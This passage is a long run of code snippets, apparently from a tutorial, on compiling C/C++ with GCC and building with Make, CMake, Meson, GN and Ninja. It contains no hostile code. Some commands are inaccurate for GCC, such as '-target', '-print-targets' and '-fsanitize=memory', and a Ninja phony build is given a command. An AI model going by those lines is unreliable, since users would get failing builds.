add_compile_options(-Wall -Wextra -Wpedantic)

# Include directories
include_directories(include)

# Executable
add_executable(myapp
    src/main.cpp
    src/utils.cpp
)

# Optional: Enable sanitizers
option(ENABLE_ASAN "Enable AddressSanitizer" OFF)
if(ENABLE_ASAN)
    target_compile_options(myapp PRIVATE -fsanitize=address,undefined)
    target_link_options(myapp PRIVATE -fsanitize=address,undefined)
endif()
EOF

# .clang-format
cat > .clang-format << 'EOF'
---
BasedOnStyle: LLVM
IndentWidth: 4
ColumnLimit: 100
EOF

# .clang-tidy
cat > .clang-tidy << 'EOF'
---
Checks: >
  -*,
  bugprone-*,
  clang-analyzer-*,
  modernize-*,
  performance-*,
  readability-*
EOF

# Makefile wrapper
cat > Makefile << 'EOF'
BUILD_DIR = build

.PHONY: all configure build clean format lint test

all: build

configure:
	mkdir -p $(BUILD_DIR)
	cd $(BUILD_DIR) && \
	cmake -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ ..
	ln -sf $(BUILD_DIR)/compile_commands.json .

build: configure
	cmake --build $(BUILD_DIR)

clean:
	rm -rf $(BUILD_DIR) compile_commands.json

format:
	find src include -name '*.cpp' -o -name '*.h' | xargs clang-format -i

lint:
	clang-tidy src/*.cpp -- -Iinclude

test:
	$(BUILD_DIR)/myapp

asan: configure
	cd $(BUILD_DIR) && cmake -DENABLE_ASAN=ON ..
	cmake --build $(BUILD_DIR)
	$(BUILD_DIR)/myapp
EOF

# Build and run
make
make test

# Format and lint
make format
make lint

# Test with sanitizers
make asan

# Ubuntu/Debian
sudo apt-get update
sudo apt-get install gcc g++ build-essential

# RedHat/CentOS/Fedora
sudo yum groupinstall "Development Tools"
sudo dnf install gcc gcc-c++

# macOS (via Xcode Command Line Tools)
xcode-select --install

# Verify installation
gcc --version
g++ --version

# Check available targets
gcc -v

# Compile single source file
gcc hello.c
gcc hello.c -o hello

# Run the program
./hello
./a.out  # Default output name

# Compile and run
gcc hello.c -o hello && ./hello

# Compile C++ source
g++ hello.cpp -o hello
g++ hello.cpp -o hello -std=c++17

# Alternative: use gcc with explicit C++
gcc hello.cpp -o hello -lstdc++ -std=c++17

# Development build (with debugging)
gcc -g -Wall -Wextra program.c -o program

# Production build (optimized)
gcc -O2 -Wall program.c -o program

# Verbose compilation
gcc -v program.c -o program

# Save compiler output
gcc program.c -o program 2> compile.log

# 1. Preprocessing only (-E)
gcc -E source.c -o source.i
gcc -E source.c | less  # View preprocessed output

# 2. Compile to assembly (-S)
gcc -S source.c -o source.s
gcc -S -O2 source.c -o source.s  # Optimized assembly

# 3. Assemble to object file (-c)
gcc -c source.c -o source.o

# 4. Link object files
gcc main.o utils.o -o program

# Complete manual process
gcc -E main.c -o main.i      # Preprocess
gcc -S main.i -o main.s      # Compile
gcc -c main.s -o main.o      # Assemble
gcc main.o -o main           # Link

# Keep intermediate files
gcc -save-temps program.c -o program
# Creates: program.i, program.s, program.o

# Specify temp directory
gcc -save-temps=obj program.c -o program

# View assembly with source interleaved
gcc -Wa,-adhln -g program.c > program.lst

# Specify output filename
gcc source.c -o myprogram

# Compile without linking
gcc -c file1.c file2.c file3.c

# Compile to assembly
gcc -S program.c

# Preprocess only
gcc -E program.c

# Generate dependency information
gcc -M source.c      # All dependencies
gcc -MM source.c     # User dependencies only
gcc -MMD -c source.c # Create .d file during compilation

# Essential warnings
gcc -Wall source.c               # Enable most warnings
gcc -Wextra source.c             # Additional warnings
gcc -Werror source.c             # Treat warnings as errors
gcc -Wall -Wextra -Werror source.c

# Specific warnings
gcc -Wpedantic source.c          # ISO C/C++ compliance
gcc -Wconversion source.c        # Type conversion warnings
gcc -Wshadow source.c            # Variable shadowing
gcc -Wcast-align source.c        # Pointer alignment issues
gcc -Wunused source.c            # Unused variables/functions
gcc -Wformat=2 source.c          # Format string checking
gcc -Wstrict-overflow=5 source.c # Overflow optimization warnings

# Disable specific warnings
gcc -Wall -Wno-unused-parameter source.c
gcc -Wall -Wno-format-truncation source.c

# Comprehensive warning set
gcc -Wall -Wextra -Wpedantic -Wshadow -Wconversion \
    -Wcast-align -Wformat=2 source.c

# No optimization (default, best for debugging)
gcc -O0 program.c

# Basic optimization (balanced)
gcc -O1 program.c

# Recommended optimization (production)
gcc -O2 program.c

# Aggressive optimization
gcc -O3 program.c

# Optimize for size
gcc -Os program.c

# Maximum optimization (may break standards compliance)
gcc -Ofast program.c

# Optimization for debugging
gcc -Og -g program.c

# Compare optimization levels
gcc -O2 program.c -o program_o2
gcc -O3 program.c -o program_o3
ls -lh program_*
time ./program_o2
time ./program_o3

# Basic debug symbols
gcc -g program.c

# GDB-specific debug info
gcc -ggdb program.c
gcc -ggdb3 program.c  # Maximum debug info

# Debug with optimization (careful!)
gcc -Og -g program.c

# Keep frame pointer for debugging
gcc -g -fno-omit-frame-pointer program.c

# Debug macros
gcc -g3 program.c  # Include macro definitions

# Split debug info
gcc -g -gsplit-dwarf program.c  # Creates .dwo files

# Compressed debug sections
gcc -g -gz program.c

# C Standards
gcc -std=c89 program.c    # ANSI C (C90)
gcc -std=c99 program.c    # C99
gcc -std=c11 program.c    # C11
gcc -std=c17 program.c    # C17
gcc -std=c2x program.c    # C23 (experimental)

# GNU extensions
gcc -std=gnu99 program.c  # C99 + GNU extensions
gcc -std=gnu11 program.c  # C11 + GNU extensions

# C++ Standards
g++ -std=c++98 program.cpp  # C++98
g++ -std=c++11 program.cpp  # C++11
g++ -std=c++14 program.cpp  # C++14
g++ -std=c++17 program.cpp  # C++17
g++ -std=c++20 program.cpp  # C++20
g++ -std=c++23 program.cpp  # C++23 (experimental)

# GNU C++ extensions
g++ -std=gnu++17 program.cpp

# Add include directory
gcc -I/usr/local/include program.c
gcc -I./include program.c
gcc -I../common/include program.c

# Multiple include directories
gcc -I./include -I./external/include program.c

# System include directory (no warnings)
gcc -isystem /usr/local/include program.c

# View default include paths
gcc -E -v - < /dev/null 2>&1 | grep "include"
echo | gcc -E -Wp,-v - 2>&1 | grep "^ "

# Link with library (-l)
gcc program.c -lm          # Link with math library (libm.so)
gcc program.c -lpthread    # Link with pthread library
gcc program.c -lm -lpthread -lrt

# Library search path (-L)
gcc program.c -L/usr/local/lib -lmylib
gcc program.c -L./lib -lmylib

# Link with specific library file
gcc program.c /usr/lib/libfoo.a
gcc program.c /usr/lib/libfoo.so

# Order matters for static libraries
gcc main.o -lB -lA  # If libB depends on libA

# Show linker commands
gcc -Wl,--verbose program.c

# Pass options to linker
gcc program.c -Wl,-rpath,/usr/local/lib
gcc program.c -Wl,--as-needed -lm

# Dynamic linking (default)
gcc program.c -lm

# Static linking of specific library
gcc program.c -static -lm

# Static linking of all libraries
gcc program.c -static

# Prefer static libraries
gcc program.c -Wl,-Bstatic -lmylib -Wl,-Bdynamic

# Check library dependencies
ldd ./program

# Show which libraries will be linked
gcc -Wl,--trace program.c -lm 2>&1 | grep succeeded

# Define macro from command line
gcc -DDEBUG program.c
gcc -DDEBUG=1 program.c
gcc -DVERSION=\"1.0.0\" program.c

# Multiple definitions
gcc -DDEBUG -DVERBOSE -DVERSION=2 program.c

# Undefine macro
gcc -UDEBUG program.c

# View predefined macros
gcc -dM -E - < /dev/null
gcc -dM -E program.c | grep __VERSION__

# Common predefined macros
gcc -E -dM - < /dev/null | grep -E '__(linux|GNUC|x86_64)__'

// program.c
#ifdef DEBUG
    #define LOG(msg) printf("DEBUG: %s\n", msg)
#else
    #define LOG(msg)
#endif

#if VERSION >= 2
    // New API
#else
    // Old API
#endif

# Compile with DEBUG enabled
gcc -DDEBUG program.c

# Compile production version
gcc -DNDEBUG -O2 program.c

# 32-bit compilation on 64-bit system
gcc -m32 program.c

# 64-bit compilation
gcc -m64 program.c

# Architecture-specific optimization
gcc -march=native program.c      # Optimize for current CPU
gcc -march=x86-64 program.c      # Generic x86-64
gcc -march=haswell program.c     # Intel Haswell
gcc -march=znver2 program.c      # AMD Zen 2

# Tune for specific CPU (without requiring its features)
gcc -mtune=native program.c
gcc -mtune=generic program.c

# CPU feature flags
gcc -mavx2 program.c             # Enable AVX2 instructions
gcc -msse4.2 program.c           # Enable SSE4.2
gcc -mfma program.c              # Enable FMA instructions

# ARM architectures
gcc -march=armv7-a program.c
gcc -march=armv8-a program.c
gcc -mcpu=cortex-a72 program.c

# Position-independent code (required for shared libraries)
gcc -fPIC -c mylib.c
gcc -fpic -c mylib.c  # Smaller, faster, but limited

# Position-independent executable
gcc -fPIE -pie program.c

# No position-independent code (static executables)
gcc -fno-PIC program.c

# Compile source files
gcc -c lib1.c lib2.c lib3.c

# Create static library
ar rcs libmylib.a lib1.o lib2.o lib3.o

# Alternative: create archive
ar -rc libmylib.a lib1.o lib2.o lib3.o
ranlib libmylib.a  # Create index

# Use static library
gcc main.c -L. -lmylib -o program
gcc main.c libmylib.a -o program

# List archive contents
ar -t libmylib.a
nm libmylib.a  # List symbols

# Compile with position-independent code
gcc -fPIC -c lib1.c lib2.c lib3.c

# Create shared library
gcc -shared -o libmylib.so lib1.o lib2.o lib3.o

# With soname (version info)
gcc -shared -Wl,-soname,libmylib.so.1 -o libmylib.so.1.0.0 lib1.o lib2.o lib3.o

# Create versioned symlinks
ln -s libmylib.so.1.0.0 libmylib.so.1
ln -s libmylib.so.1 libmylib.so

# Single command compilation
gcc -fPIC -shared -o libmylib.so lib1.c lib2.c lib3.c

# Use shared library
gcc main.c -L. -lmylib -o program

# Set runtime library path
gcc main.c -L. -lmylib -Wl,-rpath,. -o program
gcc main.c -L. -lmylib -Wl,-rpath,'$ORIGIN' -o program

# Check library dependencies
ldd program
readelf -d program | grep RPATH

# Control symbol visibility
gcc -fPIC -fvisibility=hidden -c mylib.c

# Export specific symbols
# In code: __attribute__((visibility("default"))) void public_func();

# Strip symbols from shared library
gcc -shared -o libmylib.so lib.o -s
strip --strip-unneeded libmylib.so

# Version script for symbol control
gcc -shared -o libmylib.so lib.o -Wl,--version-script=exports.map

# Enable LTO
gcc -flto -O2 file1.c file2.c -o program

# LTO with multiple jobs
gcc -flto=4 -O2 file1.c file2.c -o program

# Separate compilation with LTO
gcc -flto -c -O2 file1.c
gcc -flto -c -O2 file2.c
gcc -flto -O2 file1.o file2.o -o program

# Fat LTO objects (useful for incremental builds)
gcc -flto -ffat-lto-objects -c file1.c

# Interprocedural optimization
gcc -fwhole-program main.c utils.c -o program

# Combined with LTO
gcc -flto -fwhole-program -O3 main.c utils.c -o program

# Function inlining
gcc -finline-functions -O2 program.c
gcc -finline-limit=1000 -O2 program.c

# Compile with coverage instrumentation
gcc -fprofile-arcs -ftest-coverage program.c -o program
gcc --coverage program.c -o program  # Shorthand

# Run program to generate coverage data
./program

# Generate coverage report
gcov program.c

# View coverage (creates program.c.gcov)
cat program.c.gcov

# Coverage with optimization
gcc -O2 --coverage program.c -o program

# Compile with profiling
gcc -pg program.c -o program

# Run program (generates gmon.out)
./program

# Analyze profile
gprof program gmon.out > analysis.txt
gprof -b program gmon.out  # Brief output

# Call graph
gprof -q program gmon.out

# Address Sanitizer (memory errors)
gcc -fsanitize=address -g program.c -o program
gcc -fsanitize=address -fno-omit-frame-pointer -g program.c

# Undefined Behavior Sanitizer
gcc -fsanitize=undefined -g program.c -o program

# Thread Sanitizer (data races)
gcc -fsanitize=thread -g program.c -o program -lpthread

# Memory Sanitizer (uninitialized memory)
gcc -fsanitize=memory -g program.c -o program

# Leak Sanitizer
gcc -fsanitize=leak -g program.c -o program

# Multiple sanitizers
gcc -fsanitize=address,undefined -g program.c -o program

# Run with sanitizer options
ASAN_OPTIONS=detect_leaks=1 ./program
UBSAN_OPTIONS=print_stacktrace=1 ./program

# ARM cross-compiler
arm-linux-gnueabihf-gcc program.c -o program
aarch64-linux-gnu-gcc program.c -o program

# Specify target explicitly
gcc -target arm-linux-gnueabihf program.c

# Check available targets
gcc -print-targets

# Cross-compile with sysroot
arm-linux-gnueabihf-gcc --sysroot=/path/to/sysroot program.c

# Install cross-compilation toolchain
sudo apt-get install gcc-arm-linux-gnueabihf
sudo apt-get install gcc-aarch64-linux-gnu

# Cross-compile example
arm-linux-gnueabihf-gcc -march=armv7-a -mfpu=neon program.c

# Verify target architecture
file ./program
arm-linux-gnueabihf-readelf -h program

# Stack protection
gcc -fstack-protector program.c          # Basic
gcc -fstack-protector-strong program.c   # Recommended
gcc -fstack-protector-all program.c      # All functions

# Stack clash protection
gcc -fstack-clash-protection program.c

# Position-independent executable (ASLR)
gcc -fPIE -pie program.c

# Read-only relocations
gcc -Wl,-z,relro program.c
gcc -Wl,-z,relro,-z,now program.c  # Full RELRO

# Format string protection
gcc -Wformat -Wformat-security program.c

# Fortify source (needs optimization)
gcc -O2 -D_FORTIFY_SOURCE=2 program.c

# No executable stack
gcc -z noexecstack program.c

# Control-flow protection (newer GCC)
gcc -fcf-protection program.c

# Comprehensive security flags
gcc -O2 -D_FORTIFY_SOURCE=2 \
    -fstack-protector-strong \
    -fstack-clash-protection \
    -fPIE -pie \
    -Wl,-z,relro,-z,now \
    -Wl,-z,noexecstack \
    program.c -o program

# Mudflap (deprecated in newer GCC, use sanitizers)
gcc -fmudflap program.c -lmudflap

# Better: use Address Sanitizer
gcc -fsanitize=address -g program.c

# Profile-guided optimization (PGO)
# Step 1: Compile with instrumentation
gcc -fprofile-generate -O2 program.c -o program

# Step 2: Run with typical workload
./program < typical_input.txt

# Step 3: Compile with profile data
gcc -fprofile-use -O2 program.c -o program

# Aggressive inlining
gcc -O3 -finline-functions -finline-limit=1000 program.c

# Vectorization
gcc -O3 -ftree-vectorize program.c
gcc -O3 -fopt-info-vec program.c  # Show vectorization info
gcc -O3 -fopt-info-vec-missed program.c  # Show what wasn't vectorized

# Loop optimizations
gcc -O3 -funroll-loops program.c
gcc -O3 -funroll-all-loops program.c

# Fast math (may violate IEEE standards)
gcc -O3 -ffast-math program.c

# Architecture-specific with LTO
gcc -O3 -march=native -flto program.c

# Optimize for size
gcc -Os program.c

# More aggressive size optimization
gcc -Os -s program.c  # Strip symbols

# Function sections (allows linker to remove unused code)
gcc -ffunction-sections -fdata-sections program.c
gcc -ffunction-sections -fdata-sections \
    -Wl,--gc-sections program.c

# Small executable
gcc -Os -s -ffunction-sections -fdata-sections \
    -Wl,--gc-sections program.c -o program

# Check size
size program
strip program

# Basic compilation
gcc hello.c -o hello

# With warnings and debugging
gcc -Wall -Wextra -g hello.c -o hello

# Production build
gcc -O2 -Wall hello.c -o hello

# Compile separately
gcc -c main.c
gcc -c utils.c
gcc -c parser.c

# Link together
gcc main.o utils.o parser.o -o program

# One-step compilation
gcc main.c utils.c parser.c -o program

# With headers in separate directory
gcc -I./include -c main.c utils.c parser.c
gcc main.o utils.o parser.o -o program

# Complete build with flags
gcc -Wall -Wextra -O2 -I./include \
    main.c utils.c parser.c -o program

# Basic C++ compilation
g++ main.cpp utils.cpp -o program

# With C++17 standard
g++ -std=c++17 -Wall -Wextra main.cpp utils.cpp -o program

# Template-heavy projects (faster compilation)
g++ -std=c++17 -O2 -c main.cpp
g++ -std=c++17 -O2 -c utils.cpp
g++ main.o utils.o -o program

# With external libraries
g++ -std=c++17 main.cpp -lboost_system -lpthread -o program

# Compile C files
gcc -c utils.c file.c

# Compile C++ files
g++ -c main.cpp module.cpp

# Link with C++ compiler (includes C++ standard library)
g++ main.o module.o utils.o file.o -o program

# Alternative: use gcc and explicitly link C++ library
gcc main.o module.o utils.o file.o -lstdc++ -o program

# Create library
gcc -c mylib.c helper.c
ar rcs libmylib.a mylib.o helper.o

# Use library
gcc main.c -L. -lmylib -o program

# Or link directly
gcc main.c libmylib.a -o program

# Create shared library
gcc -fPIC -c mylib.c helper.c
gcc -shared -o libmylib.so mylib.o helper.o

# Use shared library
gcc main.c -L. -lmylib -o program

# Set runtime path
gcc main.c -L. -lmylib -Wl,-rpath,'$ORIGIN' -o program

# Alternative: set LD_LIBRARY_PATH
export LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH
./program

# Recommended flags for development
gcc -Wall -Wextra -Wpedantic -Wshadow \
    -Wformat=2 -Wconversion \
    -g -Og \
    -fsanitize=address,undefined \
    program.c -o program

# C++ development
g++ -std=c++17 -Wall -Wextra -Wpedantic \
    -g -Og \
    -fsanitize=address,undefined \
    program.cpp -o program

# Recommended flags for production
gcc -Wall -Wextra -O2 \
    -D_FORTIFY_SOURCE=2 \
    -fstack-protector-strong \
    -fPIE -pie \
    -Wl,-z,relro,-z,now \
    program.c -o program

# High-performance production
gcc -Wall -O3 -march=native -flto \
    -fstack-protector-strong \
    program.c -o program

# Ensure reproducible builds
gcc -O2 -ffile-prefix-map=$(pwd)=. \
    -Wl,--build-id=sha1 \
    program.c -o program

# No timestamps
gcc -O2 -Wl,--no-insert-timestamp program.c

# Consistent debug info
gcc -g -fdebug-prefix-map=$(pwd)=. program.c

# Maximum warnings
gcc -Wall -Wextra -Wpedantic -Werror \
    -Wshadow -Wformat=2 -Wconversion \
    -Wunused -Wcast-align -Wstrict-prototypes \
    -Wold-style-definition -Wmissing-prototypes \
    program.c -o program

# C++ specific warnings
g++ -Wall -Wextra -Wpedantic -Werror \
    -Wshadow -Wformat=2 -Wconversion \
    -Wnon-virtual-dtor -Woverloaded-virtual \
    -Wold-style-cast \
    program.cpp -o program

# Undefined reference (missing library)
gcc program.c -lm  # Add missing library

# Header file not found
gcc -I/path/to/headers program.c

# Wrong include path order
gcc -I./local-include -I/usr/include program.c

# Check system include paths
gcc -E -v - < /dev/null 2>&1 | grep include

# Symbol multiply defined
# Check for duplicate object files in link command
gcc main.o utils.o main.o -o program  # Wrong!
gcc main.o utils.o -o program         # Correct

# Show linker search paths
gcc -Wl,--verbose 2>&1 | grep SEARCH_DIR

# Undefined reference to library function
gcc program.c -lm -lpthread  # Ensure correct order

# Static library dependency order matters
gcc main.o -lhigh-level -llow-level  # High-level depends on low-level

# Cannot find library
gcc program.c -L/path/to/lib -lmylib

# Check what symbols are needed
nm -u program.o  # Undefined symbols
nm -D libmylib.so  # Dynamic symbols

# Show all symbols
nm program.o
objdump -t program.o

# Shared library not found
ldd program  # Check dependencies
export LD_LIBRARY_PATH=/path/to/lib:$LD_LIBRARY_PATH

# Wrong library version loaded
ldd program  # Check which version is loaded
ldconfig -p | grep libname  # Check system libraries

# ABI compatibility issues
nm -D libold.so > old_symbols.txt
nm -D libnew.so > new_symbols.txt
diff old_symbols.txt new_symbols.txt

# Check binary information
file program
readelf -h program
objdump -f program

# Verbose output
gcc -v program.c

# Show all commands executed
gcc -v program.c 2>&1 | grep cc1

# Preprocessor output
gcc -E program.c | less
gcc -E -dM program.c  # Show macros

# Assembly output
gcc -S -fverbose-asm program.c
gcc -S -masm=intel program.c  # Intel syntax

# Keep intermediate files
gcc -save-temps program.c

# Show optimization passes
gcc -O2 -fopt-info program.c
gcc -O2 -fopt-info-all program.c

# Check optimization level
gcc -Q --help=optimizers

# Profile the code
gcc -pg program.c -o program
./program
gprof program gmon.out

# Check if vectorized
gcc -O3 -fopt-info-vec program.c

# View optimization details
gcc -O3 -fopt-info-all program.c 2>&1 | grep -i vectorized

# Compare optimization levels
gcc -O2 program.c -o prog_o2
gcc -O3 program.c -o prog_o3
ls -lh prog_*
time ./prog_o2
time ./prog_o3

// hello.c
#include <stdio.h>

int main(void) {
    printf("Hello, World!\n");
    return 0;
}

gcc hello.c -o hello
./hello

// main.c
#include <stdio.h>
#include "calc.h"

int main(void) {
    int result = add(5, 3);
    printf("Result: %d\n", result);
    return 0;
}

// calc.h
#ifndef CALC_H
#define CALC_H

int add(int a, int b);
int multiply(int a, int b);

#endif

// calc.c
#include "calc.h"

int add(int a, int b) {
    return a + b;
}

int multiply(int a, int b) {
    return a * b;
}

# Method 1: All at once
gcc main.c calc.c -o program

# Method 2: Separate compilation
gcc -c main.c
gcc -c calc.c
gcc main.o calc.o -o program

# Method 3: With warnings and optimization
gcc -Wall -Wextra -O2 -c main.c
gcc -Wall -Wextra -O2 -c calc.c
gcc main.o calc.o -o program

# Create library source files
cat > mathlib.c << 'EOF'
int add(int a, int b) { return a + b; }
int subtract(int a, int b) { return a - b; }
EOF

cat > mathlib.h << 'EOF'
#ifndef MATHLIB_H
#define MATHLIB_H
int add(int a, int b);
int subtract(int a, int b);
#endif
EOF

# Create main program
cat > main.c << 'EOF'
#include <stdio.h>
#include "mathlib.h"

int main(void) {
    printf("5 + 3 = %d\n", add(5, 3));
    printf("5 - 3 = %d\n", subtract(5, 3));
    return 0;
}
EOF

# Build static library
gcc -c mathlib.c
ar rcs libmath.a mathlib.o

# Use library
gcc main.c -L. -lmath -o program
./program

# Same source files as static library example above

# Build shared library
gcc -fPIC -c mathlib.c
gcc -shared -o libmath.so mathlib.o

# Use library
gcc main.c -L. -lmath -Wl,-rpath,'$ORIGIN' -o program
./program

# Alternative: use LD_LIBRARY_PATH
gcc main.c -L. -lmath -o program
LD_LIBRARY_PATH=. ./program

CC = gcc
CFLAGS = -Wall -Wextra -O2 -I./include
LDFLAGS = -L./lib
LDLIBS = -lm -lpthread

SRCS = main.c utils.c parser.c
OBJS = $(SRCS:.c=.o)
TARGET = program

all: $(TARGET)

$(TARGET): $(OBJS)
	$(CC) $(OBJS) $(LDFLAGS) $(LDLIBS) -o $@

%.o: %.c
	$(CC) $(CFLAGS) -c $< -o $@

clean:
	rm -f $(OBJS) $(TARGET)

.PHONY: all clean

# Ubuntu/Debian
sudo apt-get install ninja-build

# macOS
brew install ninja

# From source
git clone https://github.com/ninja-build/ninja.git
cd ninja
./configure.py --bootstrap
sudo cp ninja /usr/local/bin/

# Verify installation
ninja --version

# Build all targets (default)
ninja

# Build specific target
ninja myprogram

# Build multiple targets
ninja target1 target2

# Show what would be built
ninja -n
ninja --dry-run

# Verbose output (show commands)
ninja -v

# Show all targets
ninja -t targets

# Show all rules
ninja -t rules

# Parallel builds (default: CPU cores)
ninja -j 8

# Keep going on errors
ninja -k 0
ninja -k 10  # Stop after 10 errors

# Clean build outputs
ninja -t clean

# Clean specific target
ninja -t clean target_name

# Show dependency graph
ninja -t graph | dot -Tpng -o graph.png

# Show commands for target
ninja -t commands target_name

# Explain why target needs rebuild
ninja -d explain -v target_name

# Comments start with #

# Variable definition
cc = gcc
cflags = -Wall -O2

# Rule definition
rule compile
  command = $cc $cflags -c $in -o $out
  description = Compiling $in

# Build statement
build main.o: compile main.c

# Default target
default main.o

# Simple variable
builddir = build
cc = gcc
cflags = -Wall

# Variable expansion
cflags = $cflags -O2

# Variables in rules use $ prefix
rule compile
  command = $cc $cflags -c $in -o $out

# Build-level variables (local scope)
build main.o: compile main.c
  cflags = -g -O0

# Reference variables
cxx = g++
compiler = $cxx

# Available in rules and build statements:
# $in - List of input files
# $out - Output file
# $in_newline - Inputs separated by newlines
# $out_newline - Outputs separated by newlines

rule link
  command = gcc $in -o $out
  description = Linking $out

# In build statements only:
build program: link main.o utils.o
  # Implicit inputs available

# Basic rule
rule compile
  command = gcc -c $in -o $out

# Rule with description (shown during build)
rule compile
  command = gcc -c $in -o $out
  description = Compiling $out

# Rule with dependency file
rule compile
  command = gcc -MMD -MF $out.d -c $in -o $out
  description = CC $out
  depfile = $out.d
  deps = gcc

# Rule with response file (for long command lines)
rule link
  command = gcc @$out.rsp -o $out
  rspfile = $out.rsp
  rspfile_content = $in
  description = Linking $out

# Rule with pool (limit parallelism)
rule heavy_compile
  command = gcc -c $in -o $out
  pool = heavy_pool

# Basic build
build output: rule input

# Multiple inputs
build program: link main.o utils.o helper.o

# Multiple outputs
build main.o main.d: compile main.c

# Implicit inputs (dependencies not on command line)
build program: link main.o | libs/libutils.a
  # libs/libutils.a is implicit dependency

# Order-only dependencies (must exist, but don't trigger rebuild)
build program: link main.o || create_output_dir
  # create_output_dir runs first, but changes don't rebuild

# Implicit outputs (not primary output)
build main.o | main.d: compile main.c

# Phony targets (like Make's .PHONY)
build all: phony program tests

build clean: phony
  command = rm -rf build/*

# Convenient aliases
build test: phony tests/test_runner
build install: phony /usr/local/bin/program

# Include another build file (same scope)
include config.ninja
include rules.ninja

# Subninja (separate scope)
subninja src/build.ninja
subninja tests/build.ninja

# Normal dependencies
build program: link main.o utils.o
  # Changes to main.o or utils.o trigger rebuild

build main.o: compile main.c
  # Changes to main.c trigger rebuild

# Implicit dependencies (after |)
build program: link main.o | static_lib.a
  # static_lib.a must exist but doesn't appear in command
  # Changes still trigger rebuild

# Common use: header dependencies via depfile
rule compile
  command = gcc -MMD -MF $out.d -c $in -o $out
  depfile = $out.d
  deps = gcc

build main.o: compile main.c
  # Header dependencies read from main.o.d

# Order-only dependencies (after ||)
build program: link main.o || output_directory
  # output_directory must exist before building
  # Changes to output_directory don't trigger rebuild

rule create_dir
  command = mkdir -p $out

build build/obj:
  command = mkdir -p build/obj

build build/obj/main.o: compile main.c || build/obj

# Variables
cc = gcc
cflags = -Wall -Wextra -O2

# Compile rule
rule compile
  command = $cc $cflags -c $in -o $out
  description = Compiling $out

# Link rule
rule link
  command = $cc -o $out $in
  description = Linking $out

# Build objects
build main.o: compile main.c
build utils.o: compile utils.c
build parser.o: compile parser.c

# Link program
build program: link main.o utils.o parser.o

# Default target
default program

# Clean target
rule clean
  command = rm -f *.o program
  description = Cleaning

build clean: phony

cc = gcc
cflags = -Wall -Wextra -O2 -Iinclude

# Compile with automatic header dependencies
rule compile
  command = $cc -MMD -MF $out.d $cflags -c $in -o $out
  description = CC $out
  depfile = $out.d
  deps = gcc

rule link
  command = $cc -o $out $in
  description = LINK $out

# Build objects
build obj/main.o: compile src/main.c
build obj/utils.o: compile src/utils.c
build obj/parser.o: compile src/parser.c

# Link program
build bin/program: link obj/main.o obj/utils.o obj/parser.o

default bin/program

cxx = g++
cxxflags = -std=c++17 -Wall -Wextra -O2 -Iinclude
ldflags = -lpthread -lm

builddir = build
srcdir = src
objdir = $builddir/obj
bindir = $builddir/bin

rule compile
  command = $cxx -MMD -MF $out.d $cxxflags -c $in -o $out
  description = CXX $out
  depfile = $out.d
  deps = gcc

rule link
  command = $cxx -o $out $in $ldflags
  description = LINK $out

rule mkdir
  command = mkdir -p $out
  description = MKDIR $out

# Create directories
build $objdir: mkdir
build $bindir: mkdir

# Compile sources
build $objdir/main.o: compile $srcdir/main.cpp || $objdir
build $objdir/utils.o: compile $srcdir/utils.cpp || $objdir
build $objdir/parser.o: compile $srcdir/parser.cpp || $objdir

# Link program
build $bindir/program: link $objdir/main.o $objdir/utils.o $objdir/parser.o || $bindir

default $bindir/program

cc = gcc
cflags = -Wall -Wextra -O2

rule compile
  command = $cc $cflags -c $in -o $out
  description = CC $out

rule link
  command = $cc -o $out $in $ldflags
  description = LINK $out

# Shared objects
build network.o: compile network.c
build utils.o: compile utils.c

# Server program
build server.o: compile server.c
build server: link server.o network.o utils.o

# Client program
build client.o: compile client.c
build client: link client.o network.o

# Build all
build all: phony server client

default all

cc = gcc
ar = ar
cflags = -Wall -Wextra -O2

rule compile
  command = $cc $cflags -c $in -o $out
  description = CC $out

rule archive
  command = rm -f $out && $ar rcs $out $in
  description = AR $out

# Library sources
build lib1.o: compile lib1.c
build lib2.o: compile lib2.c
build lib3.o: compile lib3.c

# Create static library
build libmylib.a: archive lib1.o lib2.o lib3.o

default libmylib.a

cc = gcc
cflags = -Wall -Wextra -O2 -fPIC
ldflags = -shared

rule compile
  command = $cc $cflags -c $in -o $out
  description = CC $out

rule link_shared
  command = $cc $ldflags -o $out $in
  description = LINK $out

# Library sources
build lib1.o: compile lib1.c
build lib2.o: compile lib2.c
build lib3.o: compile lib3.c

# Create shared library
build libmylib.so: link_shared lib1.o lib2.o lib3.o

default libmylib.so

# Generate Ninja build files with CMake
cmake -G Ninja -B build
cmake --build build

# Or manually
cd build
ninja

# CMakeLists.txt example
cmake_minimum_required(VERSION 3.15)
project(MyProject)

add_executable(myapp main.cpp utils.cpp)
target_include_directories(myapp PRIVATE include)
target_compile_options(myapp PRIVATE -Wall -Wextra)

rule CXX_COMPILER
  command = /usr/bin/c++ $DEFINES $INCLUDES $FLAGS -o $out -c $in
  description = Building CXX object $out

build CMakeFiles/myapp.dir/main.cpp.o: CXX_COMPILER main.cpp
build CMakeFiles/myapp.dir/utils.cpp.o: CXX_COMPILER utils.cpp

build myapp: CXX_EXECUTABLE_LINKER CMakeFiles/myapp.dir/main.cpp.o CMakeFiles/myapp.dir/utils.cpp.o

# Setup build with Meson
meson setup builddir
meson compile -C builddir

# Or use ninja directly
cd builddir
ninja

# meson.build example
project('myproject', 'cpp',
  version: '1.0.0',
  default_options: ['cpp_std=c++17'])

executable('myapp',
  sources: ['main.cpp', 'utils.cpp'],
  include_directories: include_directories('include'))

# Generate Ninja files with GN
gn gen out/Release
ninja -C out/Release

# BUILD.gn example
executable("myapp") {
  sources = [
    "main.cc",
    "utils.cc",
  ]
  include_dirs = [ "include" ]
  cflags = [ "-Wall", "-Wextra" ]
}

#!/usr/bin/env python3
"""Generate build.ninja for a C project"""

import os
import glob

def generate_ninja():
    sources = glob.glob("src/*.c")
    objects = [f"obj/{os.path.basename(s).replace('.c', '.o')}" for s in sources]

    with open("build.ninja", "w") as f:
        # Variables
        f.write("cc = gcc\n")
        f.write("cflags = -Wall -Wextra -O2 -Iinclude\n\n")

        # Rules
        f.write("rule compile\n")
        f.write("  command = $cc -MMD -MF $out.d $cflags -c $in -o $out\n")
        f.write("  description = CC $out\n")
        f.write("  depfile = $out.d\n")
        f.write("  deps = gcc\n\n")

        f.write("rule link\n")
        f.write("  command = $cc -o $out $in\n")
        f.write("  description = LINK $out\n\n")

        # Build statements
        for src, obj in zip(sources, objects):
            f.write(f"build {obj}: compile {src}\n")

        f.write(f"\nbuild program: link {' '.join(objects)}\n")
        f.write("\ndefault program\n")

if __name__ == "__main__":
    generate_ninja()

# Limit parallelism for resource-intensive tasks
